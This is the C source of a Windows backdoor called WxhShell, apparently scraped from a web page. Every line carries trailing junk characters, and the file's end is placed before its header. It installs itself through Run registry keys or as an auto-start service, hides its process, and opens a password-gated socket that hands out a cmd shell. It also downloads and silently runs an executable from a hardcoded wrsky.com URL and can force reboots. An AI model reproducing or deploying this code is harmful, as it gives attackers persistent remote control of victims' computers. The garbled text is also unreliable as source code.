    if(Boot(SHUTDOWN)) k,]{NO   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !#.vyBK#  
    else { D8/sz`N7Q  
    closesocket(wsh); 4A~)b"j5  
    ExitThread(0); T46{*(  
    } @3 "DBJ  
    break; %HEmi;  
    } `@$YlFOW  
  // 获取shell Ihef$,  
  case 's': { +{ab1))/  
    CmdShell(wsh); #$uZDQY_  
    closesocket(wsh); n4*'B*  
    ExitThread(0); -A@U0=o  
    break; [+DNM 2A  
  } rk|a'&  
  // 退出 CjZ6NAHc  
  case 'x': { '#f?#(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~~dfpW_"  
    CloseIt(wsh); JS2!)aqc  
    break; {G.{a d  
    } 6QptKXu7  
  // 离开 EG1x  
  case 'q': { bV7QVu8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rxkBg0Z`a  
    closesocket(wsh); m t.,4  
    WSACleanup(); 4`0;^K.  
    exit(1); o}R|tOe  
    break; :eLLDp<  
        } 2o}8W7y  
  } }q x(z^  
  } D4\(:kF\Hg  
<w11nB)  
  // 提示信息 | VRq$^g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qq>44k\|)  
} {q2<KRU2+#  
  } "j;!_v>=f`  
m[#%/  
  return; Oi#k:vq4  
} ;@O(z*14@  
{r X5  
// shell模块句柄 L`bo#,eg6  
int CmdShell(SOCKET sock) D2-O7e  
{ [ 1D)$"  
STARTUPINFO si; Xa6qvg7/  
ZeroMemory(&si,sizeof(si)); 4w2L?PDMi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *Ag,kW"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o}W7.7^2  
PROCESS_INFORMATION ProcessInfo; vKV{ $|  
char cmdline[]="cmd"; 1 pYsjo~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~M(pCSJ[  
  return 0; -y<rM0"NE  
} ,P1G ?,y  
:4b- sg#  
// 自身启动模式 D`5: JR-{  
int StartFromService(void) LDSbd,GF  
{ -kt1t@O  
typedef struct Pyit87h{  
{ T)*l' g'  
  DWORD ExitStatus; DwQp$l'NfW  
  DWORD PebBaseAddress; (jt*u (C&Y  
  DWORD AffinityMask; U@MOvW)  
  DWORD BasePriority; $Jt8d|UP  
  ULONG UniqueProcessId; cbY3mSfn*  
  ULONG InheritedFromUniqueProcessId;  &s_}u%iC  
}   PROCESS_BASIC_INFORMATION; 96k(X LR  
~c'\IM  
PROCNTQSIP NtQueryInformationProcess; + >Fv*lux  
j= p|'`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DDZTqsws  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qRWJ-T:!F  
)Ep@$Gv|S  
  HANDLE             hProcess; -1dIZy  
  PROCESS_BASIC_INFORMATION pbi; yzODF>KJ  
:  ,|=Q}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (u$!\fE-et  
  if(NULL == hInst ) return 0; c lq <$-  
8VKb*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bK6, saN>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !$4Q]@ }  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9,}fx+^  
G;Pt|F?c  
  if (!NtQueryInformationProcess) return 0; PP~CZ2Fze  
yRSy(/L^+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oKZ[0(4<  
  if(!hProcess) return 0; WIhIEU7/  
_q2`m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3BuD/bs  
=2Pz$q*ub  
  CloseHandle(hProcess); MX%|hIOpr  
}"!6Xm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i@sCMCu6  
if(hProcess==NULL) return 0; Z{j!s6Y@{  
Iht mD@H}  
HMODULE hMod; 4"`=huQ  
char procName[255]; GA}hp%  
unsigned long cbNeeded; kjQIagw  
})Ix .!p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %l0_PhAB  
Z%(Df3~gmm  
  CloseHandle(hProcess); j TGS6{E  
!:R^}pMhIk  
if(strstr(procName,"services")) return 1; // 以服务启动 U]1>?,Nk'3  
N GX-'w  
  return 0; // 注册表启动 b*9m2=6  
} :C}KI)  
$L $j KNwf  
// 主模块 S+4I[|T]Y  
int StartWxhshell(LPSTR lpCmdLine) Ta!m%=8  
{ (Qw`%B  
  SOCKET wsl; ~QQEHx\4zZ  
BOOL val=TRUE; 50O7=  
  int port=0; ([z<TS#Md  
  struct sockaddr_in door; C{U[w^X  
!M#?kKj  
  if(wscfg.ws_autoins) Install(); m&;zLBA;  
Ix%"4/z>  
port=atoi(lpCmdLine); Phk`=:xh  
bs4fyb  
if(port<=0) port=wscfg.ws_port; 23.y3t_?  
MV:<w3!  
  WSADATA data; Z)b)v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?et0W|^k  
OdtbVF~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?ZD{e|:u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rVc zO+E  
  door.sin_family = AF_INET; :d:|7hlNQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y:#kel<  
  door.sin_port = htons(port); ~`W6O>  
2xz%'X%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '2i)#~YO<  
closesocket(wsl); !rN#PF>  
return 1; `t/@ L:  
} pEqr0Qwh  
PAO[Og,-  
  if(listen(wsl,2) == INVALID_SOCKET) { H@OrX  
closesocket(wsl); 8=u+BDG  
return 1; Oa3=+_C~$1  
} I*`=[nR  
  Wxhshell(wsl); a`GN@ 8  
  WSACleanup(); E: LQ!  
9|?(GG  
return 0; ;Fwm1ezx0  
nATfmUN L  
} \I`=JKYT  
6>P  
// 以NT服务方式启动 8{U]ATx'(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !Barc ,kA  
{ C$]%1<-Iv]  
DWORD   status = 0; ,sQ0atk7ma  
  DWORD   specificError = 0xfffffff; Ra15d^  
o 0cc+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (,)vak&t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N";dG 3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d"e%tsj  
  serviceStatus.dwWin32ExitCode     = 0; OL6xMToP  
  serviceStatus.dwServiceSpecificExitCode = 0; Xk$l-Zfse  
  serviceStatus.dwCheckPoint       = 0; g}s-v?+  
  serviceStatus.dwWaitHint       = 0; IJb1) ZuR  
CzDR%vx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V+@%(x@D_  
  if (hServiceStatusHandle==0) return; 6=`m   
kxKnmB#m-  
status = GetLastError(); 3T.M?UG>  
  if (status!=NO_ERROR)  el*pYI  
{ W> -E.#!_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7.Kjg_N#Tr  
    serviceStatus.dwCheckPoint       = 0; e*'|iuDrY  
    serviceStatus.dwWaitHint       = 0; }i/2XmA )  
    serviceStatus.dwWin32ExitCode     = status; c<t3y7  
    serviceStatus.dwServiceSpecificExitCode = specificError; z)?#UdBQv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %NAFU /&  
    return; X6"^:)&1M  
  } yADN_  
(w@MlMk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eL$U M  
  serviceStatus.dwCheckPoint       = 0; Osvz 3UMY3  
  serviceStatus.dwWaitHint       = 0; (^s&#_w03  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PU/Br;2A  
} "3KSmb   
^5'/ }iR2N  
// 处理NT服务事件,比如:启动、停止 O%q;,w{prW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J#OE}xASoA  
{ "}~i7NBB  
switch(fdwControl) Hr8$1I$=  
{ SpTORR8  
case SERVICE_CONTROL_STOP: XCi]()TZ_  
  serviceStatus.dwWin32ExitCode = 0; j*Wh;I+h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '2q xcco  
  serviceStatus.dwCheckPoint   = 0; -aeo7C  
  serviceStatus.dwWaitHint     = 0; l1|,Lr  
  { Gk]qE]hi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E( 4lu%  
  } ^*UfCoj9Z  
  return;  W$VCST  
case SERVICE_CONTROL_PAUSE: GO GXM4I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G]NtX4'4  
  break; >7Sl( UY-  
case SERVICE_CONTROL_CONTINUE: 6+f>XL#w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <[B[  
  break; =rO>b{,hs  
case SERVICE_CONTROL_INTERROGATE: o:Os_NaD  
  break; {@F["YPxy  
}; 5`{;hFl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rjf=qh5s  
} 2;(iTPz +  
/5'<w(  
// 标准应用程序主函数 vaCdfO&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x_iy;\s1  
{ 5\kZgXWIh  
Y" +1,?yH  
// 获取操作系统版本 AqKx3p6  
OsIsNt=GetOsVer(); @7Rt[2"e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kpreTeA]  
`6/Yf@b  
  // 从命令行安装 SUi1*S  
  if(strpbrk(lpCmdLine,"iI")) Install(); wj :3  
HtXBaIl\  
  // 下载执行文件 0<]!G|;|  
if(wscfg.ws_downexe) { Zow^bzy4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !m:PBl5  
  WinExec(wscfg.ws_filenam,SW_HIDE); mW(_FS2%,  
} ?OYwM?Uf  
RDZh>K PG  
if(!OsIsNt) { a4qpnr]0  
// 如果时win9x,隐藏进程并且设置为注册表启动 sluZ-,zE  
HideProc(); j[Zni D  
StartWxhshell(lpCmdLine); xW;[}t-QS  
} G~hILW^  
else > FcA ,  
  if(StartFromService()) C05{,w?  
  // 以服务方式启动 cyP* QW[  
  StartServiceCtrlDispatcher(DispatchTable); BNoCE!  
else .q[sk  
  // 普通方式启动 pz6- hi7  
  StartWxhshell(lpCmdLine); =|&"/$+s  
A_*Lo6uII  
return 0; `L[32B9  
} p1gX4t]%}a  
y!c7y]9__2  
=v`&iL~m  
y^|3]G3  
=========================================== j%y+W{Q[  
l )V43  
KXbYv62  
adr^6n6 v  
F$yFR  
h \cK  
" 0BP~ 0z  
| xI_aYv*  
#include <stdio.h> } fMFQA)  
#include <string.h> dv}R]f'  
#include <windows.h> O|TwG:!  
#include <winsock2.h> ^F0jI5j).  
#include <winsvc.h> $>s@T(  
#include <urlmon.h> 7MJ)p$&  
^^Q32XC,  
#pragma comment (lib, "Ws2_32.lib") e6xjlaKb  
#pragma comment (lib, "urlmon.lib") ~zC fan/  
Gz5@1CF  
#define MAX_USER   100 // 最大客户端连接数 RIqxM  
#define BUF_SOCK   200 // sock buffer G6F['g);  
#define KEY_BUFF   255 // 输入 buffer C^: &3,  
[>9"RzEl  
#define REBOOT     0   // 重启 !4.^@^L|\  
#define SHUTDOWN   1   // 关机 "8dnFrE  
(s*Uz3 sq  
#define DEF_PORT   5000 // 监听端口 5)NfZN# &  
 y] r~v  
#define REG_LEN     16   // 注册表键长度 <).qe Z  
#define SVC_LEN     80   // NT服务名长度 ^X'7>{7Io  
WWD@rnsVf  
// 从dll定义API moI<b\G@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _7H J'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OiEaVPSI;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `rJ ~*7-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J` --O(8Ml  
oOSyOD  
// wxhshell配置信息 }'v ?Qq  
struct WSCFG { F9J9pgVP  
  int ws_port;         // 监听端口 DJjDKVO5t  
  char ws_passstr[REG_LEN]; // 口令 >mSl~.I2  
  int ws_autoins;       // 安装标记, 1=yes 0=no #@"rp]1xv  
  char ws_regname[REG_LEN]; // 注册表键名 _\[JMhd}  
  char ws_svcname[REG_LEN]; // 服务名 neH"ks5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S2SQ;s-t_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z'bMIdV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oDI*\S>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9TS=>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -^Va]Lk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .u3W]5M|  
nW*Oo|p~=  
}; zb)SlR  
]J]p:Y>NL  
// default Wxhshell configuration j=QjvWD  
struct WSCFG wscfg={DEF_PORT, &c ~)z\$  
    "xuhuanlingzhe", X^^D[U  
    1, TL:RB)- <  
    "Wxhshell", h;[Nc j]  
    "Wxhshell", T=Q{K|JE  
            "WxhShell Service", $oj<yH<i  
    "Wrsky Windows CmdShell Service", D];([:+4  
    "Please Input Your Password: ", cSDCNc*%  
  1, Z}StA0F_  
  "http://www.wrsky.com/wxhshell.exe", Fa^]\:  
  "Wxhshell.exe" p}X87Zq  
    }; - $/{V&?t  
!Shh$iz  
// 消息定义模块 r26Wysi~%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >maz t=,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gcF><i6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _J;a[Ky+[  
char *msg_ws_ext="\n\rExit."; Hf|:A(vCx  
char *msg_ws_end="\n\rQuit."; w2AWdO6  
char *msg_ws_boot="\n\rReboot..."; R;2 -/MT-  
char *msg_ws_poff="\n\rShutdown..."; 7Wn]l!  
char *msg_ws_down="\n\rSave to "; !Ve3:OZ.nO  
UeQ% (f  
char *msg_ws_err="\n\rErr!"; J/2pS  
char *msg_ws_ok="\n\rOK!"; 7s3<}  
Nuq/_x  
char ExeFile[MAX_PATH]; XL9lB#v^  
int nUser = 0; a8$pc>2E  
HANDLE handles[MAX_USER]; 7J/3O[2  
int OsIsNt; A*;h}\n  
m q9&To!  
SERVICE_STATUS       serviceStatus; V@f#/"u'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P .(X]+  
[wYQP6Cyy  
// 函数声明 @S):a`J  
int Install(void); <Ux;dekz}  
int Uninstall(void); :gv#_[k  
int DownloadFile(char *sURL, SOCKET wsh); 8G<.5!f7`N  
int Boot(int flag); nJC}wh2d#  
void HideProc(void); b7mP~]V  
int GetOsVer(void); &T}e9 3]  
int Wxhshell(SOCKET wsl); }$U6lh/Ep  
void TalkWithClient(void *cs); ]h@:Y]  
int CmdShell(SOCKET sock); OSU=O  
int StartFromService(void); ')<$AMy1  
int StartWxhshell(LPSTR lpCmdLine); 5o #8DIal  
_;W|iUreb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }qPo%T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]uf_"D  
VvKH]>*  
// 数据结构和表定义 R?I3xb  
SERVICE_TABLE_ENTRY DispatchTable[] = cKAl 0_[f"  
{ na)ceN2h  
{wscfg.ws_svcname, NTServiceMain}, T94$}- 5/)  
{NULL, NULL}  1qF.0  
}; +^:K#S9U  
1cega1s3xR  
// 自我安装 x]T;W&s  
int Install(void) u{ /gjv  
{ yD"sYT   
  char svExeFile[MAX_PATH]; Mk;j"ZD F  
  HKEY key; 0}N^l=jQ  
  strcpy(svExeFile,ExeFile); e#^by(1@}  
>sq9c/}X  
// 如果是win9x系统,修改注册表设为自启动 ;k]pq4E  
if(!OsIsNt) { IK);BN2<L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {]]I4a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~gD]JiiA  
  RegCloseKey(key); HY:n{= o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ok'1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f [D#QC  
  RegCloseKey(key); nceF4Ty  
  return 0; t60m:k4J  
    } &-A 7%"  
  } 1;V5b+b  
} l?~h_8&fT  
else { 6G],t)<A'-  
Hn)=:lI  
// 如果是NT以上系统,安装为系统服务 LtBH4 A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ql 1# l:Q  
if (schSCManager!=0) Lif mYn[  
{ \8!HZei  
  SC_HANDLE schService = CreateService xAflcY>Ozs  
  ( 'I2)-=ZL6  
  schSCManager, IcZ'KV  
  wscfg.ws_svcname, NR5A"_'  
  wscfg.ws_svcdisp, [(mq8Nb  
  SERVICE_ALL_ACCESS, $nW>]S\|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A 3l1$t#w  
  SERVICE_AUTO_START, 4w,}1uNEf  
  SERVICE_ERROR_NORMAL, 5I14"Qf  
  svExeFile, $.kYAsZts  
  NULL, gFH_^~7i8p  
  NULL, N>_7Ltw/  
  NULL, ia[wVxd  
  NULL, ]F~5l?4u#  
  NULL #*~Uu.T  
  ); \Ip<bbB0  
  if (schService!=0) -h}J%UV  
  { {)M4h?.2  
  CloseServiceHandle(schService); V*N9D>C  
  CloseServiceHandle(schSCManager); FYJB.lAT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '"EOLr\Z,  
  strcat(svExeFile,wscfg.ws_svcname); *HRRv.iQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lMP7o&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F-6* BUqJ  
  RegCloseKey(key); @N$r'@  
  return 0; $W2AiE[Wm  
    } +J} 41  
  }  E9i WGSE  
  CloseServiceHandle(schSCManager); x9=lN^/4  
} -:QyWw/d  
} `#V"@Go  
*VU Xw@  
return 1;  <KpQu%2(  
} y.Py>GJJ1S  
C{D2mSS  
// 自我卸载 4}CRM# W2  
int Uninstall(void) .&Z Vy{uP  
{ {:Q2Itsy  
  HKEY key; |Yx8Ez  
:1iw_GhJf  
if(!OsIsNt) { O]>Or3oO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { km^AX:r1  
  RegDeleteValue(key,wscfg.ws_regname); z(ajR*\#  
  RegCloseKey(key); B@4#y9`5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E_OLf%um  
  RegDeleteValue(key,wscfg.ws_regname); x[X.// :  
  RegCloseKey(key); D7 @10;F}[  
  return 0; ^V:YNUqp#  
  } &Fi8@0Fh  
} Um~jp:6p  
} }MX`WW0\]Z  
else { ~?p > L  
5FMKJ7sC9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8|l Yf%n>j  
if (schSCManager!=0) h\5 7t@A  
{ \@xnC$dd/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (#:Si~3  
  if (schService!=0) ;9~z_orNQZ  
  { }yw\+fc  
  if(DeleteService(schService)!=0) { {*2A% }S  
  CloseServiceHandle(schService); U{x'@/Ld  
  CloseServiceHandle(schSCManager); kB 2bT}  
  return 0; sw&Qks? V  
  } v6GWD}HH,  
  CloseServiceHandle(schService); Zj JD@,j  
  } %F7aFvl*  
  CloseServiceHandle(schSCManager); ^ey\ c1K  
} WM#!X!Vo  
} AIeYy-f  
@.0,k a,X  
return 1; "n\!y~:  
} &.}zZ/  
] !H<vR$8  
// 从指定url下载文件 #G,e]{gs  
int DownloadFile(char *sURL, SOCKET wsh) MLDuo|?  
{ ldxUq,p  
  HRESULT hr; yF:fxdpw  
char seps[]= "/"; aZ'p:9e  
char *token; , R)[$n  
char *file; OJ 2M_q)e  
char myURL[MAX_PATH]; e D}Ga4  
char myFILE[MAX_PATH]; 4ldN0 _T5  
R[Rs2eS_  
strcpy(myURL,sURL); ,To ED  
  token=strtok(myURL,seps); Mk?9`?g.  
  while(token!=NULL) zh6so.  
  { ~q/`Z)(yc  
    file=token; *cd9[ ~  
  token=strtok(NULL,seps); 5mV'k"Om#"  
  } "[%NXan  
#8`G&S*  
GetCurrentDirectory(MAX_PATH,myFILE); z/TRqD  
strcat(myFILE, "\\"); QEVjXJOt0  
strcat(myFILE, file); njIvVs`q  
  send(wsh,myFILE,strlen(myFILE),0); %8ul}}d9  
send(wsh,"...",3,0); FUH1Z+9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0QPipuP  
  if(hr==S_OK) 3drgB;:g`  
return 0; HqbTJ!a  
else 8'YL!moG|  
return 1; B!<I[fvK  
Q=dR[t>^  
} ;9^B# aTM  
' Sl9xd  
// 系统电源模块 N5s_o0K4TU  
int Boot(int flag) ?gkK*\x2  
{ OS!47Z /q  
  HANDLE hToken; PvM<#zq_  
  TOKEN_PRIVILEGES tkp; c(~M<nL0  
sC#Ixq'ls7  
  if(OsIsNt) { YziQU_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ft]sTA+C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tpVtbh1)u  
    tkp.PrivilegeCount = 1; cB<Zez  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $q+7 ,,"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WcdU fv(>  
if(flag==REBOOT) { PCES&|*rf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =#W{&Te;  
  return 0; EH[?*>+s  
} ,Pl[SMt!  
else { 7(oxmv}#Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q:-/@$&i  
  return 0; E/am^ TO`  
} <l\FHJhjq  
  } K<t(HK#[  
  else { > {:8c-\2}  
if(flag==REBOOT) { YRwS{ e*u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :c6%;2  
  return 0; fN&O `T>  
} ?{FxbDp>  
else { %~eZrG.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CocvEoE*z  
  return 0; E 1>3[3  
} ~r{Nc j  
} gh~C.>W}q+  
lr|-_snx2  
return 1; F'"-4YV>&  
} bkY7]'.bz&  
z*R"917  
// win9x进程隐藏模块 Lrk^<:8;  
void HideProc(void) Xc@4(Nyp  
{ jHFdDw|N`  
"z qt'b0bW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R; IB o  
  if ( hKernel != NULL ) gDA hl  
  { yXkgGY5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X`22Hf4ct  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k<St:X%.O  
    FreeLibrary(hKernel); 5$y<nMP  
  } ! |}>Y  
`W-:@?PmQx  
return; f>RPh bq|  
} gs. K,xma  
DF-og*V  
// 获取操作系统版本 aMzAA  
int GetOsVer(void) v"s}7trWV  
{ KsHMAp3  
  OSVERSIONINFO winfo; rVz#;d!`z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %7{6>6%  
  GetVersionEx(&winfo); L 5>>gG ,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2\7]EW  
  return 1; Gjzhgz--  
  else j\W+wnAgk  
  return 0; L-MpdC  
} |#S!qnXB  
f+)F-3  
// 客户端句柄模块 7%0PsF _  
int Wxhshell(SOCKET wsl) `; `34t_)  
{ jx-W$@  
  SOCKET wsh; K%Rx5 S  
  struct sockaddr_in client; ' rXkTm1{  
  DWORD myID; 0z,c6MjM+  
$bN%x/  
  while(nUser<MAX_USER) /  ]I]  
{ Z'u`)jR  
  int nSize=sizeof(client); rMI:zFS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GSMP)8 W  
  if(wsh==INVALID_SOCKET) return 1; LNr2YRpyz  
8I@_X~R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (+9@j(  
if(handles[nUser]==0) DTJ~.  
  closesocket(wsh); wD*_S}]  
else =!p6}5Z  
  nUser++; YWm:#{n.  
  } Ble <n6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h883pe=  
Qx {/izc  
  return 0; ptUnV3h  
} W/+|dN{O+g  
ql],Wplg  
// 关闭 socket !QYqRH~ 5  
void CloseIt(SOCKET wsh) fIFB"toiPE  
{ Rk"_4zJk  
closesocket(wsh); %]NbTTL  
nUser--; X3'z'5  
ExitThread(0); R(Z2DEt</  
} 398%16}  
R|Ykez!D  
// 客户端请求句柄 T8ZsuKio]  
void TalkWithClient(void *cs) K+n6.BzW  
{ f\Pd#$3  
Rh: \/31~  
  SOCKET wsh=(SOCKET)cs; 03# r F@e  
  char pwd[SVC_LEN]; cA_v*`YL  
  char cmd[KEY_BUFF]; lS}5bcjR=k  
char chr[1]; UP#]n 69y  
int i,j; {N>VK*  
{X8F4  
  while (nUser < MAX_USER) { 4F/Q0"  
In]h+tG?rN  
if(wscfg.ws_passstr) { YsDn?pD@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {-H6Z#b[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GXa-g-d  
  //ZeroMemory(pwd,KEY_BUFF); {GZHD^Ce  
      i=0; 3vmZB2QG  
  while(i<SVC_LEN) { MTa.Ubs  
_ 57m] ;&  
  // 设置超时 Y]ZOvA5W  
  fd_set FdRead; tR*J M$T  
  struct timeval TimeOut; Z~$fTW6g  
  FD_ZERO(&FdRead); zX|CW;  
  FD_SET(wsh,&FdRead); F!N;4J5u  
  TimeOut.tv_sec=8; e PlEd'Z  
  TimeOut.tv_usec=0; )(y&U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bp;)*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N!$y`nwiw'  
IaN|S|n~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,p0R 4gi  
  pwd=chr[0]; /G\-v2iD  
  if(chr[0]==0xd || chr[0]==0xa) { %  &{>oEQ  
  pwd=0; trg+" )a  
  break; O /aC%%  
  } *O+YhoR?  
  i++; ,HR~oT^  
    } K+PzTGWq^  
q1Ah!9B  
  // 如果是非法用户,关闭 socket N#Y4nllJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~M+|g4W%  
} ]w! x  
4RJ8 2yq-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fok OjTE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6?z&G6  
QD q2<  
while(1) { |fq1Mn8  
N!aV~\E  
  ZeroMemory(cmd,KEY_BUFF); F5:4 B]ZF  
iC$~v#2  
      // 自动支持客户端 telnet标准   V/<dHOfR\  
  j=0; j[9xF<I  
  while(j<KEY_BUFF) { IZniRd;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iiKFV>;t/  
  cmd[j]=chr[0]; (lT H EiX  
  if(chr[0]==0xa || chr[0]==0xd) { ME{i-E4  
  cmd[j]=0; \2pJ ]  
  break; USJ4qv+-  
  } hAKyT~[n0  
  j++; 8K7zh.E  
    } QV7K~qi  
RCnN+b:c  
  // 下载文件 ,RDxu7iT  
  if(strstr(cmd,"http://")) {  E~jNUTq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =^O8 4Cp 6  
  if(DownloadFile(cmd,wsh)) 3]M YH b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SO3WOR`3  
  else hPP+lqY[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8&f}GdZh  
  } '&'? S  
